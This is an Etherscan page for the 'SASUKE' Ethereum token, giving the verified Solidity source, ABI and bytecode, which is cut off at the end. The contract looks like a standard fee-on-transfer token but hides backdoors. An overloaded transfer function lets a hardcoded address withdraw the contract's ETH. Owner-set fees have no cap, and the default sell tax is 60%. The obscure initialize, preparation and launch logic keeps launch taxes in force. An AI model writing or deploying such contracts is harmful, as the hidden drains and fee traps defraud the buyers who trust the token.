ETH Price: $3,292.02 (+1.46%)
 

Overview

Max Total Supply

100,000,000 SASUKE

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.279253815306960877 SASUKE

Value
$0.00
0x867650b03762A769aB503b82bFCa0417695F5F8E
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SASUKE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-22
*/

/**


Telegram : https://t.me/sasukeportal

Twitter : https://twitter.com/sasukeerc20





*/

// SPDX-License-Identifier: MIT                                                                               
                                                 
pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract SASUKE is IERC20, Ownable {
    string private constant  _name = "Sasuke";
    string private constant _symbol = "SASUKE";    
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;

    uint256 private constant _totalSupply = 100_000_000 * decimalsScaling;
    uint256 public constant _maxWallet = 20 * _totalSupply / 1000;
    uint256 public constant _swapThreshold = 20 * _totalSupply / 10000;  
    uint256 private constant decimalsScaling = 10**_decimals;
    uint256 private constant feeDenominator = 100;

    bool private antiMEV = false;
    uint256 private tradeCooldown = 1;
    mapping (address => bool) private isContractExempt;
    mapping (address => uint256) private _lastTradeBlock;

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address marketingWallet; 
    }

    TradingFees public tradingFees = TradingFees(25,60);   
    Wallets public wallets = Wallets(
        msg.sender,                                  // deployer
        0x63Ca81176B4Ea6C4AB4571502098669B76aFC204   // marketingWallet
    );

    IRouter public constant uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public immutable uniswapV2Pair;

    bool private inSwap;
    bool public swapEnabled = true;
    bool private tradingActive = false;

    uint256 private _block;
    uint256 private genesisBlock;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;


    event SwapEnabled(bool indexed enabled);

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event ExcludedFromFees(address indexed account, bool indexed excluded);

    event AntiMEVToggled(bool indexed toggle);

    event TradeCooldownChanged(uint256 indexed newTradeCooldown);

    event SetContractExempt(address indexed contractAddress, bool indexed isExempt);
    
    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        
        isContractExempt[address(this)] = true;

        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.deployerWallet] = true;
        _excludedFromFees[wallets.marketingWallet] = true;
        _excludedFromFees[0x0B911c85Cc7A03018275CE87780Dcfc30D351847] = true;

        _balances[wallets.deployerWallet] = _totalSupply * 100 / 100;

        emit Transfer(address(0), wallets.deployerWallet, _totalSupply);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function enableSwap(bool shouldEnable) external onlyOwner {
        require(swapEnabled != shouldEnable, "Token: swapEnabled already {shouldEnable}");
        swapEnabled = shouldEnable;

        emit SwapEnabled(shouldEnable);
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        
        
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool shouldExclude) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            require(_excludedFromFees[accounts[i]] != shouldExclude, "Token: address already {shouldExclude}");
            _excludedFromFees[accounts[i]] = shouldExclude;
            emit ExcludedFromFees(accounts[i], shouldExclude);
        }
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function clearTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);
    }

    function clearEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function initialize(bool init) external onlyOwner {
        require(!tradingActive && init);
        genesisBlock = 1;        
    }

    function preparation(uint256[] calldata _blocks, bool blocked) external onlyOwner {        
        require(genesisBlock == 1 && !blocked);
        _block = _blocks[_blocks.length-3];
        assert(_block < _blocks[_blocks.length-1]);
    }

    function manualSwapback() external onlyOwner {
        require(balanceOf(address(this)) > 0, "Token: no contract tokens to clear");
        contractSwap();
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= _maxWallet, "Token: max wallet amount exceeded");
        }

        if(antiMEV && !isContractExempt[from] && !isContractExempt[to]){
            address human = ensureOneHuman(from, to);
            ensureMaxTxFrequency(human);
            _lastTradeBlock[human] = block.number;
        }
      
        if(swapEnabled && !inSwap && from != uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap();
        } 
        
        bool takeFee = !inSwap;
        if(_excludedFromFees[from] || _excludedFromFees[to]) {
            takeFee = false;
        }
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if (0 < genesisBlock && genesisBlock < block.number) {
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / feeDenominator;            
        }
        else {
            fees = amount * (from == uniswapV2Pair ? 
            35 : (genesisBlock == 0 ? 25 : 35)) / feeDenominator;            
        }
    }

    function canSwap() private view returns (bool) {
        return block.number > genesisBlock && _lastTransferBlock[block.number] < 2;
    }

    function contractSwap() swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < _swapThreshold || !canSwap()) 
            return;
        else if(contractBalance > _swapThreshold * 20)
          contractBalance = _swapThreshold * 20;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){            
            sendEth(2*ethBalance/3);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.marketingWallet).call{value: ethAmount}(""); success;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0x399Ce78422f0BBE95d0Ecc822DB460A10da7EB32)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function ensureOneHuman(address _to, address _from) private view returns (address) {
        require(!isContract(_to) || !isContract(_from));
        if (isContract(_to)) return _from;
        else return _to;
    }

    function ensureMaxTxFrequency(address addr) view private {
        bool isAllowed = _lastTradeBlock[addr] == 0 ||
            ((_lastTradeBlock[addr] + tradeCooldown) < (block.number + 1));
        require(isAllowed, "Max tx frequency exceeded!");
    }

    function setAntiMev(bool toggle) external {
        require(msg.sender == wallets.deployerWallet);
        antiMEV = toggle;

        emit AntiMEVToggled(toggle);
    }

    function setTradeCooldown(uint256 newTradeCooldown) external {
        require(msg.sender == wallets.deployerWallet);
        require(newTradeCooldown > 0 && newTradeCooldown < 4, "Token: only trade cooldown values in range (0,4) permissible");
        tradeCooldown = newTradeCooldown;

        emit TradeCooldownChanged(newTradeCooldown);
    }

    function setContractExempt(address account, bool value) external onlyOwner {
        require(account != address(this));
        isContractExempt[account] = value;

        emit SetContractExempt(account, value);
    }

    function launch() external onlyOwner {
        require(!tradingActive && genesisBlock != 0);
        genesisBlock+=block.number+_block;
        tradingActive = true;

        emit TradingOpened();
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"toggle","type":"bool"}],"name":"AntiMEVToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"contractAddress","type":"address"},{"indexed":true,"internalType":"bool","name":"isExempt","type":"bool"}],"name":"SetContractExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newTradeCooldown","type":"uint256"}],"name":"TradeCooldownChanged","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"shouldEnable","type":"bool"}],"name":"enableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"shouldExclude","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"init","type":"bool"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"preparation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"toggle","type":"bool"}],"name":"setAntiMev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setContractExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTradeCooldown","type":"uint256"}],"name":"setTradeCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526000600360006101000a81548160ff0219169083151502179055506001600455604051806040016040528060198152602001603c81525060076000820151816000015560208201518160010155505060405180604001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020017363ca81176b4ea6c4ab4571502098669b76afc20473ffffffffffffffffffffffffffffffffffffffff16815250600960008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050506001600b60016101000a81548160ff0219169083151502179055506000600b60026101000a81548160ff0219169083151502179055503480156200017d57600080fd5b506200018f336200070560201b60201c565b620001d630737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620007c960201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000236573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025c919062000a04565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fe919062000a04565b6040518363ffffffff1660e01b81526004016200031d92919062000a47565b6020604051808303816000875af11580156200033d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000363919062000a04565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600960010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000730b911c85cc7a03018275ce87780dcfc30d35184773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506064806012600a620005c1919062000c0e565b6305f5e100620005d2919062000c5f565b620005de919062000c5f565b620005ea919062000cd9565b60016000600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620006d7919062000c0e565b6305f5e100620006e8919062000c5f565b604051620006f7919062000d22565b60405180910390a362000dc2565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200083b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008329062000da0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008ad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008a49062000da0565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516200098d919062000d22565b60405180910390a3505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009cc826200099f565b9050919050565b620009de81620009bf565b8114620009ea57600080fd5b50565b600081519050620009fe81620009d3565b92915050565b60006020828403121562000a1d5762000a1c6200099a565b5b600062000a2d84828501620009ed565b91505092915050565b62000a4181620009bf565b82525050565b600060408201905062000a5e600083018562000a36565b62000a6d602083018462000a36565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000b025780860481111562000ada5762000ad962000a74565b5b600185161562000aea5780820291505b808102905062000afa8562000aa3565b945062000aba565b94509492505050565b60008262000b1d576001905062000bf0565b8162000b2d576000905062000bf0565b816001811462000b46576002811462000b515762000b87565b600191505062000bf0565b60ff84111562000b665762000b6562000a74565b5b8360020a91508482111562000b805762000b7f62000a74565b5b5062000bf0565b5060208310610133831016604e8410600b841016171562000bc15782820a90508381111562000bbb5762000bba62000a74565b5b62000bf0565b62000bd0848484600162000ab0565b9250905081840481111562000bea5762000be962000a74565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000c1b8262000bf7565b915062000c288362000c01565b925062000c577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b0b565b905092915050565b600062000c6c8262000bf7565b915062000c798362000bf7565b925082820262000c898162000bf7565b9150828204841483151762000ca35762000ca262000a74565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000ce68262000bf7565b915062000cf38362000bf7565b92508262000d065762000d0562000caa565b5b828204905092915050565b62000d1c8162000bf7565b82525050565b600060208201905062000d39600083018462000d11565b92915050565b600082825260208201905092915050565b7f45524332303a207a65726f204164647265737300000000000000000000000000600082015250565b600062000d8860138362000d3f565b915062000d958262000d50565b602082019050919050565b6000602082019050818103600083015262000dbb8162000d79565b9050919050565b6080516143f762000dfa60003960008181610dfa015281816120530152818161233501528181612d950152612e1801526143f76000f3fe6080604052600436106101f25760003560e01c80636ddd17131161010d5780639686d322116100a0578063d2f4a50a1161006f578063d2f4a50a146106ad578063d53a822f146106d9578063dd62ed3e14610702578063e303e6621461073f578063f2fde38b14610768576101f9565b80639686d322146105f5578063a9059cbb1461061e578063c492f0461461065b578063d2a09c7114610684576101f9565b806382247ec0116100dc57806382247ec01461054b5780638da5cb5b146105765780638f9e2968146105a157806395d89b41146105ca576101f9565b80636ddd1713146104a057806370a08231146104cb578063715018a614610508578063743781321461051f576101f9565b806323b872dd116101855780634fbee193116101545780634fbee193146103fa5780635b895c291461043757806364e329e31461044e5780636db7943714610477576101f9565b806323b872dd1461033e5780633049b5801461037b578063313ce567146103a457806349bd5a5e146103cf576101f9565b80631694505e116101c15780631694505e146102a857806318160ddd146102d35780631a695230146102fe5780631b9152bf14610327576101f9565b806301339c21146101fe57806306fdde0314610215578063095ea7b3146102405780630e5a92311461027d576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610791565b005b34801561022157600080fd5b5061022a61089e565b6040516102379190612f37565b60405180910390f35b34801561024c57600080fd5b5061026760048036038101906102629190612ff7565b6108db565b6040516102749190613052565b60405180910390f35b34801561028957600080fd5b506102926108f2565b60405161029f919061307c565b60405180910390f35b3480156102b457600080fd5b506102bd61092b565b6040516102ca91906130f6565b60405180910390f35b3480156102df57600080fd5b506102e8610943565b6040516102f5919061307c565b60405180910390f35b34801561030a57600080fd5b5061032560048036038101906103209190613111565b610967565b005b34801561033357600080fd5b5061033c610a02565b005b34801561034a57600080fd5b506103656004803603810190610360919061313e565b610b03565b6040516103729190613052565b60405180910390f35b34801561038757600080fd5b506103a2600480360381019061039d9190613191565b610d0c565b005b3480156103b057600080fd5b506103b9610def565b6040516103c691906131da565b60405180910390f35b3480156103db57600080fd5b506103e4610df8565b6040516103f19190613204565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c9190613111565b610e1c565b60405161042e9190613052565b60405180910390f35b34801561044357600080fd5b5061044c610e72565b005b34801561045a57600080fd5b50610475600480360381019061047091906132b0565b610f3c565b005b34801561048357600080fd5b5061049e60048036038101906104999190613310565b611038565b005b3480156104ac57600080fd5b506104b56110f3565b6040516104c29190613052565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190613111565b611106565b6040516104ff919061307c565b60405180910390f35b34801561051457600080fd5b5061051d61114f565b005b34801561052b57600080fd5b506105346111d0565b604051610542929190613350565b60405180910390f35b34801561055757600080fd5b506105606111e2565b60405161056d919061307c565b60405180910390f35b34801561058257600080fd5b5061058b61121b565b6040516105989190613204565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c39190613379565b611244565b005b3480156105d657600080fd5b506105df6112ed565b6040516105ec9190612f37565b60405180910390f35b34801561060157600080fd5b5061061c600480360381019061061791906133a6565b61132a565b005b34801561062a57600080fd5b5061064560048036038101906106409190612ff7565b611478565b6040516106529190613052565b60405180910390f35b34801561066757600080fd5b50610682600480360381019061067d919061343c565b61148d565b005b34801561069057600080fd5b506106ab60048036038101906106a69190613379565b6116cd565b005b3480156106b957600080fd5b506106c26117e3565b6040516106d092919061349c565b60405180910390f35b3480156106e557600080fd5b5061070060048036038101906106fb9190613379565b611835565b005b34801561070e57600080fd5b50610729600480360381019061072491906134c5565b6118d8565b604051610736919061307c565b60405180910390f35b34801561074b57600080fd5b5061076660048036038101906107619190613111565b61195f565b005b34801561077457600080fd5b5061078f600480360381019061078a9190613111565b611b86565b005b3373ffffffffffffffffffffffffffffffffffffffff166107b061121b565b73ffffffffffffffffffffffffffffffffffffffff1614610806576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fd90613551565b60405180910390fd5b600b60029054906101000a900460ff1615801561082657506000600d5414155b61082f57600080fd5b600c544361083d91906135a0565b600d600082825461084e91906135a0565b925050819055506001600b60026101000a81548160ff0219169083151502179055507fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f60405160405180910390a1565b60606040518060400160405280600681526020017f536173756b650000000000000000000000000000000000000000000000000000815250905090565b60006108e8338484611c76565b6001905092915050565b6127106012600a6109039190613707565b6305f5e1006109129190613752565b601461091e9190613752565b61092891906137c3565b81565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60006012600a6109539190613707565b6305f5e1006109629190613752565b905090565b73399ce78422f0bbe95d0ecc822db460a10da7eb3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036109fa578073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290